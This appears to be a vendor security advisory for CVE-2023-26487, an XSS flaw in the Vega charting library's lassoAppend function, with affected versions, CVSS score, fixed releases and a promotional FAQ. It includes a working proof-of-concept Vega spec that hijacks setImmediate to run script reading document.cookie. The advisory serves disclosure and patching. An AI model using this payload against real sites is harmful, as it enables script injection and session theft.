CVE-2023-26487

Vega's lassoAppend function: lassoAppend accepts 3 arguments and internally invokes push function on the 1st argument specifying array consisting of 2nd and 3rd arguments as push call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.

This makes it possible to specify any object with a push function as the 1st argument, push function can be set to any function that can be access via event.view (no all such functions can be exploited due to invalid context or signature, but some can, e.g. console.log).

Details

The issue is that lassoAppend doesn't enforce proper types of its arguments:

.....
export function lassoAppend(lasso, x, y, minDist = 5) {
    const last = lasso[lasso.length - 1];

    // Add point to lasso if distance to last point exceed minDist or its the first point
    if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) > minDist) {
        lasso.push([x, y]);
.....

PoC

Use the following Vega snippet (depends on browser's non-built-in event.view.setImmediate function, feel free to replace with event.view.console.log or alike and observe the result in the browser's console)

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": false,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')"
        }
      ]
    }
  ],
  "marks": [
    {
      "name": "circle",
      "type": "symbol",
      "zindex": 1,
      "encode": {
        "enter": {
          "y": {"signal": "height/2"},
          "angle": {"value": 0},
          "size": {"value": 400},
          "shape": {"value": "circle"},
          "fill": {"value": "white"},
          "stroke": {"value": "white"},
          "strokeWidth": {"value": 2},
          "cursor": {"value": "pointer"},
          "tooltip": {"signal": "{Tip: 'Click to fire XSS'}"}
        },
        "update": {"x": {"signal": "toggle === true ? 190 : 165"}}
      }
    },
    {
      "name": "rectangle",
      "type": "rect",
      "zindex": 0,
      "encode": {
        "enter": {
          "x": {"value": 152},
          "y": {"value": 162.5},
          "width": {"value": 50},
          "height": {"value": 25},
          "cornerRadius": {"value": 20}
        },
        "update": {
          "fill": {"signal": "toggle === true ? '#006BB4' : '#939597'"}
        }
      }
    }
  ]
}

This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS setImmediate polyfill basically allows eval-like functionality).

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2023-26487 has a CVSS score of 6.1 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.23.0, 5.13.1); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2023-26487? CVE-2023-26487 is a medium-severity cross-site scripting (XSS) vulnerability in vega (npm), affecting versions < 5.23.0. It is fixed in 5.23.0, 5.13.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2023-26487? CVE-2023-26487 has a CVSS score of 6.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2023-26487?
   • vega (npm) (versions < 5.23.0)
   • vega-functions (npm) (versions < 5.13.1)
4. Is there a fix for CVE-2023-26487? Yes. CVE-2023-26487 is fixed in 5.23.0, 5.13.1. Upgrade to this version or later.
5. Is CVE-2023-26487 exploitable, and should I be worried? Whether CVE-2023-26487 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-26487 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-26487?
   • Upgrade vega to 5.23.0 or later
   • Upgrade vega-functions to 5.13.1 or later